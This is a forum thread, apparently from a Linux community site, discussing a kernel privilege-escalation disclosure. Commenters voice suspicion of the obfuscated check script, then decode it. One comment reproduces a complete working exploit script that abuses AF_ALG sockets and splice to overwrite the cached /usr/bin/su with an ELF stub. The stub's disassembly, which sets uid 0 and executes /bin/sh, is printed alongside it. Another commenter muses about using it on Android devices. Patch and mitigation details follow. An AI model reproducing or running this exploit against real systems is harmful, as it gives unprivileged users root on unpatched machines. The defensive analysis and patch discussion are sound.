The Python script to check if you are vulnerable is extremely suspicious and hard to decipher.
I agree. This seems fishy to me. I am concerned about compressed code in a public disclosure like this. Also it seems like all the documentation was written by AI.
The entire page is an advertisement for an AI tool that helped uncover it. Guess that’s the demonstration on how it augments a report.
Very quick cursory review: The python script appears to decompress what might be an ELF from those compressed bytes. Then it opens a cryptography socket (
AF_ALG) with the kernel and sends that whole thing.So the exploit is in the binary data and would likely take some skilled Linux engineers to decompile it and figure out the exploit.
I’m not entirely sure why they would obfuscate it. Maybe they think it helps with responsible disclosure so people can’t make something more useful than the PoC?
I’m not sure how much of it is obfuscation and how much of it is golfing. Ze golfed it so ze could make the pretty valid “just 732 bytes python script” claim.
The compression could very well be just a way to write a binary in Python plaintext. ChatGPT claims it just attempts to sudo, run /bin/sh if that succeeds, and exit if that fails.
deleted by creator
It’s a bit strange that this code requires a binary blob to verify, I think people who want to experiment with this should take some caution as it could be an exploit-in-an-exploit (user is highlighting a real exploit, but also trying to take advantage of people testing by effectively installing a back-door.) I won’t say that’s happening for sure, but take running this yourself with extreme caution.
The compressed binary blob is just a 160 B ELF when uncompressed. I don’t think you can do much with that.
I bet you could gain root on many old kernels
You can find a cleaned up version here
Script:
#!/usr/bin/env python3 import os, socket f = os.open("/usr/bin/su", 0) e = b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x001\xc01\xff\xb0i\x0f\x05H\x8d=\x0f\x00\x00\x001\xf6j;X\x99\x0f\x051\xffj<X\x0f\x05/bin/sh\x00\x00\x00' for i in range(0, len(e), 4): s = socket.socket(38, 5, 0) s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) s.setsockopt(279, 1, bytes.fromhex('0800010000000010' + '0' * 64)) s.setsockopt(279, 5, None, 4) u, _ = s.accept() u.sendmsg([b"AAAA" + e[i:i + 4]], [(279, 3, b'\x00\x00\x00\x00'), (279, 2, b'\x10' + b'\x00' * 19), (279, 4, b'\x08\x00\x00\x00'), ], 32768) r, w = os.pipe() os.splice(f, w, i + 4, offset_src=0) os.splice(r, u.fileno(), i + 4) try: u.recv(8 + i) except: pass os.system("su")Blob:
0x00400078 eax = 0 0x0040007a edi = 0 0x0040007c al = 0x69 ; 'i' ; 105 0x0040007e syscall ; sys_setuid(0) 0x00400080 rdi = rip + 0xf ; data.00400096 ; 0x400096 ; "/bin/sh" 0x00400087 esi = 0 0x00400089 push 0x3b ; ';' ; 59 0x0040008b pop rax 0x0040008c cdq 0x0040008d syscall ; sys_execve("/bin/sh", NULL, NULL) 0x0040008f edi = 0 0x00400091 push 0x3c ; '<' ; 60 0x00400093 pop rax 0x00400094 syscall ; sys_exit(0)The blob is obviously a stub-
suthat/usr/bin/supage cache is poisoned with.Worth mentioning that the fix was merged into 6.19.12 (and 7.0; probably also the LTSs, but I didn’t bother to check those).
The other LTS kernels didn’t get it until yesterday, and this thread has some good info about why: https://infosec.exchange/@wdormann/116489443704631952
Hm, I could use that on a few Android devices…
SElinux blocks this for aosp and its forks.
Debian trixie has a fix https://security-tracker.debian.org/tracker/CVE-2026-31431








